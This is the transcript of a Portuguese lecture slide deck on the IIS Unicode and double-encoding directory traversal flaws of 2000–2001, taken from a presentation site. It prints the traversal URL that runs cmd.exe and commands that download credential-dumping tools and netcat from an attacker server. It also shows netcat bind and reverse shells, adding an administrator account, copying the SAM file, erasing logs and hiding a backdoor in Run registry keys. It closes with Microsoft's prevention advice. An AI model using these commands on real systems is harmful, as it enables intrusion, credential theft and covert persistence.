Vulnerabilidade de Unicode

Slides:



Advertisements
Apresentações semelhantes
Unicode Adaptado por Antonio Carlos Souza Vladimir Jelicačačić Игорь Лукашев Bjørn Vestergård.
Advertisements

2008, Edgard Jamhour IPv6 Exercício de Tunelamento 6To4 Edgard Jamhour.
Ronaldo Celso Messias Correia
Modelo ISO-OSI.
Introdução a Resolução Numérica de Equações Diferenciais Ordinárias
FORTRAN 90 Denise Yumi Takamura.
Exemplo de Plano de Ação
SQL-3. Novo contexto e necessidade de : Manipular imagens Outros tipos de dados além de texto e números Recuperação de dados mais complexos Níveis distintos.
Modularização de Código. Modularizar código Construção do algoritmo em um módulo único (Início...Fim/ Program... End) Único arquivo.
Utilização do montador Daedalus
Criptografia Quântica : Um Estudo
(Como implementar multiplicação e divisão uma vez só :-)
Algoritmos Genéticos - Capítulo 10 Desvantagens da Representação Binária Prof. Ricardo Linden.
Servidores e Programação Web Redes de Computadores.
Geração de Código Cap. 8. Introdução Fase final para um compilador Entrada é uma representação intermediária do código fonte e a saída é um programa para.
Metodologias de Construção de Sites
Página de entrada A página de entrada, ou a index, representa um convite para o seu site.
ITA - Instituto Tecnológico de Aeronáutica Aula #1.1 – Tutorial de Web Services utilizando o NetBeans 5.5 Disciplina: CE 262 – Ontologias e Web Semântica.
1.3 – Interpretadores – Compiladores versus Interpretadores
CES-10 INTRODUÇÃO À COMPUTAÇÃO Aulas Práticas – 2013
CES-41 COMPILADORES Aulas Práticas
CES-10 INTRODUÇÃO À COMPUTAÇÃO Aulas Práticas – 2013 Capítulo XI Encadeamento de Estruturas por Ponteiros.
FUNDAÇÃO CARLOS CHAGAS
Trabalho de Formatura - MAC499 Bruno Takahashi C. de Oliveira Projeto: Omnitty Orientador: Prof.
Implementação Do JXTA Como Protocolo De Transporte Do JacORB
ALOCAÇÃO DINÂMICA DE MEMÓRIA
A Importância da Computação Científica Profa. Dra. Marli de Freitas Gomes Hernandez UNIVERSIDADE ESTADUAL DE CAMPINAS CENTRO.
Interpolação Introdução Conceito de Interpolação
Organização de Sistemas de Computadores
Desempenho A rápida taxa de melhoria na tecnologia de computadores veio em decorrência de dois fatores: avanços na tecnologia utilizada na construção.
Capítulo 1 Introdução 1.1 O que é um sistema operacional
VELOCIDADE DE REAÇÃO 1.A CONCENTRAÇÃO E A VELOCIDADE DE REAÇÃO 2.A VELOCIDADE INSTANTÂNEA DE REAÇÃO 3.AS LEIS DE VELOCIDADE E A ORDEM DE REAÇÃO.
Tecnologia para Web JavaScript Enrique Pimentel Leite de Oliveira
Comandos básicos do MS-DOS
Marco Antonio Montebello Júnior
Prof: Graciano Notação Científica.
LINGUAGENS DE PROGRAMAÇÃO
Internet Aula 03. Histórico Durante a guerra fria, os EUA tiveram a necessidade de interligar laboratórios que trabalhavam para os militares; Essa interligação.
Sistemas Operacionais e Windows XP Aula 04 – DCA0302.
04:27 Introdução Tipos de Fluxo de Dados e de Arquivos Manipulação de Arquivos em Java Classes FileReader e FileWriter Classes FileInputStream e FileOutputStream.
Gustavo Leitão Programação em Shell Script 4/1/2014 Processo Seletivo Simplificado – Professor Substituto Campus Natal Central Disciplina Programação para.
Introdução Ciência da Computação estudo de algoritmos –ÊNFASE ao estudo de DADOS armazenamento manipulação refinamento (a partir de dados cru) estrutura.
Sistemas Operacionais
TCP/IP básico e outros protocolos
Unicode and the Unicode logo are trademarks of Unicode, Inc., used with permission ŬŋǐcøðΣ PHP meets Nuno Lopes, NEIIST – 4º Ciclo de Apresentações, 13/Outubro/2005.
Java em Redes de Computadores
Arquitecturas de extensão do servidor HTTP CGI | ISAPI : ASP, ASP.NET Programação na Internet Secção de Programação ISEL-DEETC-LEIC Luis Falcão -
Arquitecturas de extensão do servidor HTTP Arquitecturas de extensão do servidor HTTP CGI e ISAPI: ASP, ASP.NET Programação na Internet Secção de Sistemas.
ArrayList e Genéricos Profs. PROG2 - UNISINOS.
Logotipo da Instituição de origem (caso não seja da Urcamp)
Requisições e Respostas HTTP Prof. Leandro Luque.
Título do Trabalho: xxxxxxxxxxxxxxxxxxxxxx Autores: xxxxxxxxxxxxxxxxxxxxxxxxx Instituição: xxxxxxxxxxxxxxxxxxxxxx Introdução (Tamanho da Fonte: Arial12)
Curso Superior em Redes de Computadores FTP Prof. Sales Filho.
Título do trabalho Autores Instituição
TÍTULO DO TRABALHO TÍTULO DO TRABALHO
TÍTULO DO TRABALHO TÍTULO DO TRABALHO
Título do Trabalho: xxxxxxxxxxxxxxxxxxxxxx Autores: xxxxxxxxxxxxxxxxxxxxxxxxx Instituição: xxxxxxxxxxxxxxxxxxxxxx Xxxxx xxxxxxxx xxxxxxxxxxxx xxxxxxxxx.
TÍTULO DO RESUMO EXPANDIDO RESULTADOS E DISCUSSÃO
RESULTADOS E DISCUSSÃO
TÍTULO DO TRABALHO INTRODUÇÃO RESULTADO E DISCUSSÃO CONCLUSÕES
Autor(a): Xxxxxxx Xxxxxxx Xxxxxxx
TÍTULO DO TRABALHO Ex: INTRODUÇÃO RESULTADOS
TÍTULO: subtítulo Autor 1 Autor 2 Autor 3 Sigla da Instituição
Autor(a): Xxxxxxx Xxxxxxx Xxxxxxx
I TÍTULO DO TRABALHO TÍTULO DO TRABALHO TÍTULO DO TRABALHO INTRODUÇÃO
TÍTULO: subtítulo Autor 1 Autor 2 Autor 3 Sigla da Instituição
TÍTULO DO TRABALHO TÍTULO DO TRABALHO
Título da Pesquisa Título da Pesquisa Título da Pesquisa Título da Pesquisa Título da Pesquisa Título da Pesquisa Autor 1 Autor 2 Autor 3 Instituição.
Xx. x x xxx.
INTRODUÇÃO RESULTADO E DISCUSSÃO METODOLOGIA CONCLUSÃO AGRADECIMENTOS
Transcrição da apresentação:

Vulnerabilidade de Unicode

Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo: http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir Descoberta em Outubro de 2000 Reparado pela Microsoft no Security Bulletin MS00-078

Primeira Vulnerabilidade Problema não é necessariamente Unicode (UCS-2) Vulnerabilidade reside no UTF-8 Unicode Transformation Format U-00000000 - U-0000007F: 0xxxxxxx U-00000080 - U-000007FF: 110xxxxx 10xxxxxx U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Primeira Vulnerabilidade UTF-8:múltiplas representações para o mesmo caracter Exemplo: caracter ‘/’ 0xAF (esta é a “válida”) 0xC0 0xAF 0xE0 0x80 0xAF 0xF0 0x80 0x80 0xAF 0xF8 0x80 0x80 0x80 0xAF 0xFC 0x80 0x80 0x80 0x80 0xAF Sempre deve ser usada a representação mais curta

Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Vulnerabilidade: Verificação do caminho do URL (sem processar UTF-8) Acesso ao arquivo (com processamento do UTF-8) http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

Segunda Vulnerabilidade IIS/PWS Escaped Character Decoding Correção da primeira vulnerabilidade: Tratamento do UTF-8 Verificação do caminho do URL (sem tratar UTF) Acesso ao arquivo (com processamento do UTF-8) Nova vulnerabilidade: Dupla codificação Descoberta em Maio de 2001 Reparado pela Microsoft no Security Bulletin MS01-026

Segunda Vulnerabilidade Dupla codificação Exemplo: caracter ‘\’ Representação válida: %5c Mas % = %25, 5 = %35, c = %63 Então tem-se: %255c (%25 5c = % 5c) %%35%63 (% 5 c) %25%35%63 (% 5 c) Verificação do caminho realizava uma decodificação Acesso ao arquivo realizava outra decodificação!

Exploração Executar o programa cmd.exe: http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir Porque copiar cmd.exe para outro diretório? Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system32 (comando echo não criaria arquivo)

Exploração Como copiar arquivos para o servidor? Via ftp: "cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump.dll >> ftpcom" "cmd /c echo get pdump.exe >> ftpcom" "cmd /c echo get nc.exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s:ftpcom -n servidor.dominio.net"

Exploração Como copiar arquivos para o servidor? Via tftp: "tftp -i ip.servidor GET nome.arquivo.exe" "tftp -i ip.servidor GET nome.arquivo.exe caminho.e.nome.local.exe" ip.servidor é o nome de uma máquina executando TFTPD (daemon de tftp)

Exploração Que arquivos copiar para o servidor? Novas páginas HTML (com imagens) “Utilitários” como NetCat (nc.exe) nc -l -p PORT -e PROGRAM -l (listen) -p PORT (número da porta) -e PROGRAM (qual programa executar)

Exploração Usos do NetCat Como port scanner: nc -v -w2 -z target 20-30 -v (verboso) -w2 (tempo de espera em segundos) target (a máquina alvo) 20-30 (intervalo de portas para scanning) -z (zero I/O)

Exploração Usos do NetCat Para obter um banner: nc -v -n ip.target 80 -v (verboso) -n (endereço é numérico, não usa DNS) ip.target (número IP da máquina alvo) 80 (número da porta)

Exploração Usos do NetCat Para instalar um backdoor (na porta 10001): Na máquina alvo: nc -l -p 10001 -e cmd.exe -l (listen) -p 10001 (número da porta) -e cmd.exe (qual programa executar) Na máquina do atacante: nc -v -n ip.alvo 10001 -v (verboso) -n ip.alvo (número IP da máquina alvo) 10001 (número da porta)

Exploração Usos do NetCat Para instalar um backdoor "cliente": Na máquina do atacante: nc -l -p 10001 -l (listen) -p 10001 (número da porta) Na máquina alvo: nc -v -n ip.atacante 10001 -e cmd.exe -v (verboso) -n ip.atacante (número IP da máquina atacante) 10001 (número da porta)

Exploração Usos do NetCat Para transferir um arquivo: Na máquina alvo: nc -l -p 1234 >hack.txt -l (listen) -p 1234 (número da porta) >hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234 <hack.txt

Exploração Uma vez em um servidor Microsoft…. Para criar uma conta: "cmd /c net user testuser UgotHacked /ADD" Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" Criar um a cópia do arquivo SAM: "cmd /c c:\winnt\repair\rdisk /s- " Encontrar o arquivo de log: "cmd /c dir /S c:\*W3SVC32" (Depois é só apagar ou sobrescrever)

Ativar o backdoor Via Registro: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Para maior eficácia, renomear "nc.exe" para algo menos suspeito, como "winlogon.exe" :-)

Ativar o backdoor Via comando AT (Schedule): AT [\\computername] time [/EVERY:date] [/NEXT:date] "command" \\computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY:date : dia do mês (ou semana) /NEXT:date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar

Prevenção De acordo com a própria Microsoft: Install your web folders on a drive other than the system drive Eliminate all sample files and unneeded features from your site Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them Be sure that the IUSR_machinename account does not have write access to any files on your system